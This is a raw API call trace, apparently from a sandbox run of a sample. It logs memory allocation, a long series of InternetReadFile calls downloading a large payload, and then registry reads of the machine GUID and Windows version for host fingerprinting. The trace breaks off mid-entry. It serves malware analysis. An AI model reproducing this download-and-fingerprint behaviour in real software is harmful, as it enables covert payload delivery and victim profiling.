VirtualFree (lpAddress=0x38e4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.221] VirtualAlloc (lpAddress=0x3690000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x3690000 [0059.221] VirtualAlloc (lpAddress=0x3690000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3690000 [0059.222] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10016) returned 1 [0059.222] VirtualAlloc (lpAddress=0x36a0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x36a0000 [0059.223] VirtualFree (lpAddress=0x3860000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0059.224] VirtualFree (lpAddress=0x3860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.226] VirtualAlloc (lpAddress=0x0, dwSize=0x170000, flAllocationType=0x2000, flProtect=0x1) returned 0x3790000 [0059.226] VirtualAlloc (lpAddress=0x3790000, dwSize=0x94000, flAllocationType=0x1000, flProtect=0x4) returned 0x3790000 [0059.228] VirtualAlloc (lpAddress=0x36b4000, dwSize=0xdc000, flAllocationType=0x1000, flProtect=0x4) returned 0x36b4000 [0059.229] VirtualFree (lpAddress=0x36b0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfff9) returned 1 [0059.258] VirtualAlloc (lpAddress=0x3824000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3824000 [0059.283] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfffa) returned 1 [0059.283] VirtualAlloc (lpAddress=0x3790000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3790000 [0059.285] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10008) returned 1 [0059.285] VirtualAlloc (lpAddress=0x37a4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x37a4000 [0059.287] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10008) returned 1 [0059.287] VirtualAlloc (lpAddress=0x37b4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x37b4000 [0059.289] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xc2b1) returned 1 [0059.289] VirtualAlloc (lpAddress=0x37c4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x37c4000 [0059.290] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x2ca) returned 1 [0059.315] VirtualFree (lpAddress=0x37c0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0059.316] VirtualAlloc (lpAddress=0x0, dwSize=0x1c0000, flAllocationType=0x2000, flProtect=0x1) returned 0x3540000 [0059.316] VirtualAlloc (lpAddress=0x3540000, dwSize=0x1bc000, flAllocationType=0x1000, flProtect=0x4) returned 0x3540000 [0059.350] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10002) returned 1 [0059.351] VirtualAlloc (lpAddress=0x3900000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3900000 [0059.352] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfffa) returned 1 [0059.353] VirtualAlloc (lpAddress=0x370c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x370c000 [0059.387] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfffa) returned 1 [0059.387] VirtualAlloc (lpAddress=0x38fc000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x38fc000 [0059.431] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10001) returned 1 [0059.431] VirtualAlloc (lpAddress=0x3800000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3800000 [0059.433] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10000) returned 1 [0059.433] VirtualAlloc (lpAddress=0x3814000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3814000 [0059.435] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10016) returned 1 [0059.435] VirtualAlloc (lpAddress=0x3824000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3824000 [0059.437] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1000f) returned 1 [0059.437] VirtualAlloc (lpAddress=0x3834000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3834000 [0059.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x6054) returned 1 [0059.439] VirtualAlloc (lpAddress=0x3844000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3844000 [0059.440] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1000a) returned 1 [0059.487] VirtualAlloc (lpAddress=0x3848000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3848000 [0059.516] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1000f) returned 1 [0059.516] VirtualAlloc (lpAddress=0x3858000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3858000 [0059.518] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10008) returned 1 [0059.518] VirtualAlloc (lpAddress=0x3868000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3868000 [0059.520] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10000) returned 1 [0059.520] VirtualAlloc (lpAddress=0x3878000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3878000 [0059.523] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x36c1) returned 1 [0059.523] VirtualFree (lpAddress=0x3874000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0059.523] VirtualAlloc (lpAddress=0x3b80000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b80000 [0059.524] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10000) returned 1 [0059.568] VirtualAlloc (lpAddress=0x3800000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3800000 [0059.571] VirtualAlloc (lpAddress=0x3b84000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b84000 [0059.573] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1000f) returned 1 [0059.573] VirtualAlloc (lpAddress=0x3814000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3814000 [0059.574] VirtualFree (lpAddress=0x3800000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0059.574] VirtualAlloc (lpAddress=0x3b94000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b94000 [0059.575] VirtualFree (lpAddress=0x3824000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.576] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1000f) returned 1 [0059.576] VirtualAlloc (lpAddress=0x3824000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3824000 [0059.577] VirtualFree (lpAddress=0x3810000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0059.577] VirtualAlloc (lpAddress=0x3ba4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3ba4000 [0059.578] VirtualFree (lpAddress=0x3834000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.578] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfb4d) returned 1 [0059.579] VirtualAlloc (lpAddress=0x3834000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3834000 [0059.580] VirtualFree (lpAddress=0x3820000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0059.580] VirtualAlloc (lpAddress=0x3bb4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bb4000 [0059.580] VirtualFree (lpAddress=0x3840000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.581] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10000) returned 1 [0059.624] VirtualAlloc (lpAddress=0x3840000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3840000 [0059.627] VirtualFree (lpAddress=0x3830000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0059.627] VirtualAlloc (lpAddress=0x3bd0000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x3bd0000 [0059.627] VirtualAlloc (lpAddress=0x3bd0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bd0000 [0059.628] VirtualAlloc (lpAddress=0x3bc4000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bc4000 [0059.628] VirtualFree (lpAddress=0x3850000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.629] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10009) returned 1 [0059.629] VirtualAlloc (lpAddress=0x3850000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3850000 [0059.630] VirtualFree (lpAddress=0x383c000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0059.631] VirtualAlloc (lpAddress=0x3bd4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bd4000 [0059.631] VirtualFree (lpAddress=0x3860000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10000) returned 1 [0059.632] VirtualAlloc (lpAddress=0x3860000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3860000 [0059.633] VirtualFree (lpAddress=0x384c000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0059.634] VirtualAlloc (lpAddress=0x3be4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3be4000 [0059.634] VirtualFree (lpAddress=0x3870000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.635] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfb4d) returned 1 [0059.635] VirtualAlloc (lpAddress=0x3870000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3870000 [0059.636] VirtualFree (lpAddress=0x385c000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0059.637] VirtualAlloc (lpAddress=0x3bf4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bf4000 [0059.638] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1000f) returned 1 [0059.686] VirtualAlloc (lpAddress=0x3800000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3800000 [0059.689] VirtualFree (lpAddress=0x386c000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0059.689] VirtualAlloc (lpAddress=0x3c04000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3c04000 [0059.691] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10008) returned 1 [0059.691] VirtualAlloc (lpAddress=0x3814000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3814000 [0059.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10007) returned 1 [0059.693] VirtualAlloc (lpAddress=0x3824000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3824000 [0059.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10016) returned 1 [0059.696] VirtualAlloc (lpAddress=0x3834000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3834000 [0059.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xc85e) returned 1 [0059.699] VirtualAlloc (lpAddress=0x3844000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3844000 [0059.700] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xd88) returned 1 [0059.702] VirtualFree (lpAddress=0x3840000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0059.702] VirtualAlloc (lpAddress=0x0, dwSize=0x340000, flAllocationType=0x2000, flProtect=0x1) returned 0x3cd0000 [0059.702] VirtualAlloc (lpAddress=0x3cd0000, dwSize=0x2c0000, flAllocationType=0x1000, flProtect=0x4) returned 0x3cd0000 [0059.708] VirtualAlloc (lpAddress=0x3c50000, dwSize=0x80000, flAllocationType=0x1000, flProtect=0x4) returned 0x3c50000 [0059.757] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10017) returned 1 [0059.757] VirtualAlloc (lpAddress=0x3bd0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bd0000 [0059.758] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10015) returned 1 [0059.759] VirtualAlloc (lpAddress=0x3be4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3be4000 [0059.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1000f) returned 1 [0059.761] VirtualAlloc (lpAddress=0x3bf4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bf4000 [0059.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xf941) returned 1 [0059.763] VirtualAlloc (lpAddress=0x3c04000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3c04000 [0059.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xd89) returned 1 [0059.794] VirtualFree (lpAddress=0x3c00000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0059.795] VirtualAlloc (lpAddress=0x3fd0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3fd0000 [0059.795] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x938) returned 1 [0059.795] VirtualAlloc (lpAddress=0x0, dwSize=0x390000, flAllocationType=0x2000, flProtect=0x1) returned 0x3540000 [0059.796] VirtualAlloc (lpAddress=0x3540000, dwSize=0x384000, flAllocationType=0x1000, flProtect=0x4) returned 0x3540000 [0059.852] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10001) returned 1 [0059.852] VirtualAlloc (lpAddress=0x3cd0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3cd0000 [0059.853] VirtualFree (lpAddress=0x3fd0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.854] VirtualAlloc (lpAddress=0x38d0000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x38d0000 [0059.854] VirtualAlloc (lpAddress=0x38d0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x38d0000 [0059.854] VirtualAlloc (lpAddress=0x38c4000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x38c4000 [0059.855] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10008) returned 1 [0059.855] VirtualAlloc (lpAddress=0x38d4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x38d4000 [0059.856] VirtualFree (lpAddress=0x3cd0000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0059.857] VirtualFree (lpAddress=0x3cd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.863] VirtualAlloc (lpAddress=0x0, dwSize=0x3b0000, flAllocationType=0x2000, flProtect=0x1) returned 0x39d0000 [0059.863] VirtualAlloc (lpAddress=0x39d0000, dwSize=0x2bc000, flAllocationType=0x1000, flProtect=0x4) returned 0x39d0000 [0059.870] VirtualAlloc (lpAddress=0x38e8000, dwSize=0xe8000, flAllocationType=0x1000, flProtect=0x4) returned 0x38e8000 [0059.872] VirtualFree (lpAddress=0x38e4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10008) returned 1 [0059.937] VirtualAlloc (lpAddress=0x3c8c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3c8c000 [0059.991] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1000e) returned 1 [0059.992] VirtualAlloc (lpAddress=0x39d0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x39d0000 [0059.994] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10008) returned 1 [0059.994] VirtualAlloc (lpAddress=0x39e4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x39e4000 [0059.996] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10024) returned 1 [0059.996] VirtualAlloc (lpAddress=0x39f4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x39f4000 [0059.998] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10008) returned 1 [0059.998] VirtualAlloc (lpAddress=0x3a04000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a04000 [0060.000] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xe58c) returned 1 [0060.000] VirtualAlloc (lpAddress=0x3a14000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a14000 [0060.002] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1000e) returned 1 [0060.047] VirtualAlloc (lpAddress=0x3a20000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a20000 [0060.050] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10008) returned 1 [0060.050] VirtualAlloc (lpAddress=0x3a30000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a30000 [0060.052] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10016) returned 1 [0060.052] VirtualAlloc (lpAddress=0x3a40000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a40000 [0060.054] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfb62) returned 1 [0060.054] VirtualAlloc (lpAddress=0x3a50000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a50000 [0060.056] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x5478) returned 1 [0060.102] VirtualAlloc (lpAddress=0x39d0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x39d0000 [0060.104] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x0) returned 1 [0060.104] VirtualFree (lpAddress=0x39d0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.104] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.104] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0060.104] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.106] VirtualAlloc (lpAddress=0x0, dwSize=0x450000, flAllocationType=0x2000, flProtect=0x1) returned 0x3540000 [0060.106] VirtualAlloc (lpAddress=0x3540000, dwSize=0x448000, flAllocationType=0x1000, flProtect=0x4) returned 0x3540000 [0060.402] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e57c | out: phkResult=0x18e57c*=0x38c) returned 0x0 [0060.402] RegQueryValueExW (in: hKey=0x38c, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e584, lpData=0x18e37c, lpcbData=0x18e580*=0xfe | out: lpType=0x18e584*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18e580*=0x4a) returned 0x0 [0060.402] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cchWideChar=36, lpMultiByteStr=0x18d5a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpUsedDefaultChar=0x0) returned 36 [0060.403] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e590 | out: phkResult=0x18e590*=0x39c) returned 0x0 [0060.403] RegQueryValueExW (in: hKey=0x39c, lpValueName="ProductName", lpReserved=0x0, lpType=0x18e598, lpData=0x18e390, lpcbData=0x18e594*=0xfe | out: lpType=0x18e598*=0x1, lpData="Windows 7 Professional", lpcbData=0x18e594*=0x2e) returned 0x0 [0060.403] RegCloseKey (hKey=0x80000002) returned 0x0 [0060.403] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x18d5a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional8-7d9ec416e53f", lpUsedDefaultChar=0x0) 